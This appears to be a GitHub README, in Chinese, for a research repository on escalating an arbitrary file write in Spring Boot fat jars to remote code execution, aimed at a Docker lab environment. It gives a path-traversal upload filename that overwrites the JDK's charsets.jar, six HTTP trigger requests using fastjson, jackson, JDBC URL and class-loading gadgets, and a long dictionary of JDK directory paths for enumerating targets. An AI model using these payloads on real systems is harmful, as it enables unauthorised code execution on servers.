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spring boot Fat Jar 任意写文件漏洞到稳定 RCE 利用技巧

Java 92.61% Dockerfile 0.68% HTML 6.72%
spring-boot upload-file rce vulnerability

spring-boot-upload-file-lead-to-rce-tricks's Introduction

spring-boot-upload-file-lead-to-rce-tricks

一. 原理文章

Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

二. docker 漏洞环境搭建

docker pull landgrey/spring-boot-fat-jar-write-file-rce:1.2
docker run -d -p 18081:18081 landgrey/spring-boot-fat-jar-write-file-rce:1.2

完成后访问 http://127.0.0.1:18081/ ，界面大概如下所示：

三. docker 漏洞环境的功能

  • 文件上传功能 (默认上传到 /tmp/ 目录，可跳目录）
  • 列目录功能 (列出 /tmp/ 目录下文件)

四. 漏洞利用条件

  • 可以获得 jdk 安装的 home 目录位置

    • 可参考附录常见的 jdk lib 默认目录位置，然后使用字典枚举尝试

  • jdk 自带文件 /jre/lib/***.jar 没被 Opened 过

    • 以 charsets.jar 文件举例：程序代码中不使用 Charset.forName("GBK") 类似的调用，默认就不会 Opened charsets.jar 文件
    • ⚠️ 值得注意的是，只能主动触发一次 Opened **.jar 文件，如果漏洞利用没有成功，则同名 jar 文件就不能再利用了

五. 漏洞利用步骤

  1. 选择上传文件 charsets.jar

  2. 使用上传文件功能，上传时用 burpsuite 截住数据包，filename 修改为 ../../usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar

  3. 上传成功后使用漏洞利用场景里的数据包触发漏洞

  4. 漏洞触发成功会在 /tmp/ 目录产生 charsets_test_[random-string].log 样式名字的文件

  5. 最后使用列目录功能查看漏洞利用是否成功

六. 漏洞利用场景：(6 个)

欢迎提 issue 补充👏～

0. spring 原生场景

spring 框架自带的一条利用链，细节分析见参考文章。

触发漏洞数据包：

GET / HTTP/1.1
Accept: text/html;charset=GBK

1. fastjson 最新版(目前是 1.2.76)默认配置场景

正常数据包：

POST /fastjson HTTP/1.1
Content-Type: application/json

{"name":"test"}

触发漏洞数据包：

POST /fastjson HTTP/1.1
Content-Type: application/json

{
    "x":{
        "@type":"java.nio.charset.Charset",
        "val":"500"
    }
}

2. jackson 开启 enableDefaultTyping 场景

正常数据包：

POST /jackson HTTP/1.1
Content-Type: application/json

["code.landgrey.bean.User",{"name":"zhangsan","age":20,"car":{"brand":"daben","price":1000000},"secret":"Pas@5w0rd"}]

触发漏洞数据包：

POST /jackson HTTP/1.1
Content-Type: application/json

["sun.nio.cs.ext.IBM33722",{"x":"y"}]

3. jdbc url getConnection 场景

正常数据包：

GET /jdbc?url=jdbc:mysql://127.0.0.1:3306/test?user=root&password=123456

触发漏洞数据包：

GET /jdbc?url=jdbc:mysql://127.0.0.1:3306/test?statementInterceptors=sun.nio.cs.ext.IBM33722

4. Class forName 场景

正常数据包：

GET /classForName?name=code.landgrey.bean.Car

触发漏洞数据包：

GET /classForName?name=sun.nio.cs.ext.IBM33722

5. loadClass newInstance 场景

正常数据包：

GET /classLoader?name=code.landgrey.bean.User

触发漏洞数据包：

GET /classLoader?name=sun.nio.cs.ext.IBM33722

附录. 常见 JDK lib 目录收集

欢迎提 issue 补充👏～

/usr/lib/jvm/jre/lib/
/usr/local/jdk/jre/lib/
/usr/local/openjdk-6/lib/
/usr/local/openjdk-7/lib/
/usr/local/openjdk-8/lib/
/usr/lib/jvm/java/jre/lib/
/usr/lib/jvm/jdk6/jre/lib/
/usr/lib/jvm/jdk7/jre/lib/
/usr/lib/jvm/jdk8/jre/lib/
/usr/lib/jvm/jdk-11.0.3/lib/
/usr/lib/jvm/jdk1.6/jre/lib/
/usr/lib/jvm/jdk1.7/jre/lib/
/usr/lib/jvm/jdk1.8/jre/lib/
/usr/local/openjdk6/jre/lib/
/usr/local/openjdk7/jre/lib/
/usr/local/openjdk8/jre/lib/
/usr/local/openjdk-6/jre/lib/
/usr/local/openjdk-7/jre/lib/
/usr/local/openjdk-8/jre/lib/
/mnt/jdk/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.6.0/jre/lib/
/usr/lib/jvm/jdk1.7.0/jre/lib/
/usr/lib/jvm/jdk1.8.0/jre/lib/
/usr/java/jdk1.8.0_111/jre/lib/
/usr/java/jdk1.8.0_121/jre/lib/
/usr/lib/jvm/java-6-oracle/lib/
/usr/lib/jvm/java-7-oracle/lib/
/usr/lib/jvm/java-8-oracle/lib/
/usr/lib/jvm/java-1.6.0/jre/lib/
/usr/lib/jvm/java-1.7.0/jre/lib/
/usr/lib/jvm/java-1.8.0/jre/lib/
/usr/lib/jvm/jdk1.7.0_51/jre/lib/
/usr/lib/jvm/jdk1.7.0_76/jre/lib/
/usr/lib/jvm/jdk1.8.0_60/jre/lib/
/usr/lib/jvm/jdk1.8.0_66/jre/lib/
/usr/lib/jvm/jdk1.8.0_74/jre/lib/
/usr/lib/jvm/jdk1.8.0_91/jre/lib/
/usr/lib/jvm/oracle_jdk6/jre/lib/
/usr/lib/jvm/oracle_jdk7/jre/lib/
/usr/lib/jvm/oracle_jdk8/jre/lib/
/usr/lib/jvm/jdk1.8.0_101/jre/lib/
/usr/lib/jvm/jdk1.8.0_102/jre/lib/
/usr/lib/jvm/jdk1.8.0_111/jre/lib/
/usr/lib/jvm/jdk1.8.0_131/jre/lib/
/usr/lib/jvm/jdk1.8.0_144/jre/lib/
/usr/lib/jvm/jdk1.8.0_151/jre/lib/
/usr/lib/jvm/jdk1.8.0_152/jre/lib/
/usr/lib/jvm/jdk1.8.0_161/jre/lib/
/usr/lib/jvm/jdk1.8.0_171/jre/lib/
/usr/lib/jvm/jdk1.8.0_172/jre/lib/
/usr/lib/jvm/jdk1.8.0_181/jre/lib/
/usr/lib/jvm/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.8.0_202/jre/lib/
/usr/lib/jvm/jdk8u202-b08/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/lib/
/usr/lib/jvm/jre-7-oracle-x64/lib/
/usr/lib/jvm/jre-8-oracle-x64/lib/
/usr/lib/jvm/zulu-6-amd64/jre/lib/
/usr/lib/jvm/zulu-7-amd64/jre/lib/
/usr/lib/jvm/zulu-8-amd64/jre/lib/
/usr/lib/jvm/java-6-oracle/jre/lib/
/usr/lib/jvm/java-7-oracle/jre/lib/
/usr/lib/jvm/java-8-oracle/jre/lib/
/usr/jdk/instances/jdk1.6.0/jre/lib/
/usr/jdk/instances/jdk1.7.0/jre/lib/
/usr/jdk/instances/jdk1.8.0/jre/lib/
/usr/lib/jvm/j2re1.6-oracle/jre/lib/
/usr/lib/jvm/j2re1.7-oracle/jre/lib/
/usr/lib/jvm/j2re1.8-oracle/jre/lib/
/usr/lib/jvm/java-1.6.0-sun/jre/lib/
/usr/lib/jvm/java-1.7.0-sun/jre/lib/
/usr/lib/jvm/java-1.8.0-sun/jre/lib/
/usr/lib/jvm/java-6-openjdk/jre/lib/
/usr/lib/jvm/java-7-openjdk/jre/lib/
/usr/lib/jvm/java-8-openjdk/jre/lib/
/usr/lib/jvm/j2sdk1.6-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.7-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.8-oracle/jre/lib/
/usr/lib/jvm/java-11-openjdk/jre/lib/
/usr/lib/jvm/java-12-openjdk/jre/lib/
/usr/lib/jvm/java-13-openjdk/jre/lib/
/usr/lib/jvm/java-1.6-openjdk/jre/lib/
/usr/lib/jvm/java-1.7-openjdk/jre/lib/
/usr/lib/jvm/java-1.8-openjdk/jre/lib/
/usr/lib/jvm/java-9-openjdk-amd64/lib/
/usr/lib/jvm/jdk-6-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-7-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-x64/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/jre/lib/
/usr/lib/jvm/jre-7-oracle-x64/jre/lib/
/usr/lib/jvm/jre-8-oracle-x64/jre/lib/
/usr/lib/jvm/java-10-openjdk-amd64/lib/
/usr/lib/jvm/java-11-openjdk-amd64/lib/
/usr/lib/jvm/java-1.11.0-openjdk/jre/lib/
/usr/lib/jvm/java-1.12.0-openjdk/jre/lib/
/usr/lib/jvm/java-6-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.16/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.20/jre/lib/
/usr/lib/jvm/java-7-openjdk-i386/jre/lib/
/usr/lib/jvm/java-8-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-7-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.6.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.7.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.8.0-oracle-x64/jre/lib/
/usr/lib/jvm/oracle-java6-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java7-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java8-jdk-amd64/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibd-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibm-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.1-ibm-1.7.1/jre/lib/
/usr/lib/jvm/java-1.6.0-sun-1.6.0.11/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jre-1.6.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.7.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.8.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/java-1.11.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-arm-vfp-hflt/jre/lib/
/usr/lib64/jvm/java-1.6.0-openjdk-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.0-openjdk-1.7.0/jre/lib/
/usr/lib64/jvm/java-1.8.0-openjdk-1.8.0/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-amazon-corretto.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.45.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.65.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.75.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.79.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.91.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-3.b17.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-4.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-2.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-1.b13.el6_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.el7_1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.el6_7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-1.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-0.b15.el6_8.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-2.b15.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-0.b11.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-3.b12.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-3.b16.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-5.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-3.b14.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-3.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-2.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.222.b10-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.5.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.7.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.9.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101-2.6.6.1.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.131-2.6.9.0.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.10.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.141-2.6.10.1.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.171-2.6.13.0.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191-2.6.15.4.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.24.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.25.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.29.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.30.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.32.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.35.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.36.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.37.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.38.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.42.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.43.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.45.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-8.b13.39.39.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64-debug/jre/lib/

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spring-boot-upload-file-lead-to-rce-tricks's Issues

有人复现成功了吗？

我使用docker环境和本地构建jar包运行都没有复现成功，charsets.jar包上传成功后，使用每一种触发方式，都无法执行命令。
但是本地cmd执行java命令时触发charsets.jar中的payload.

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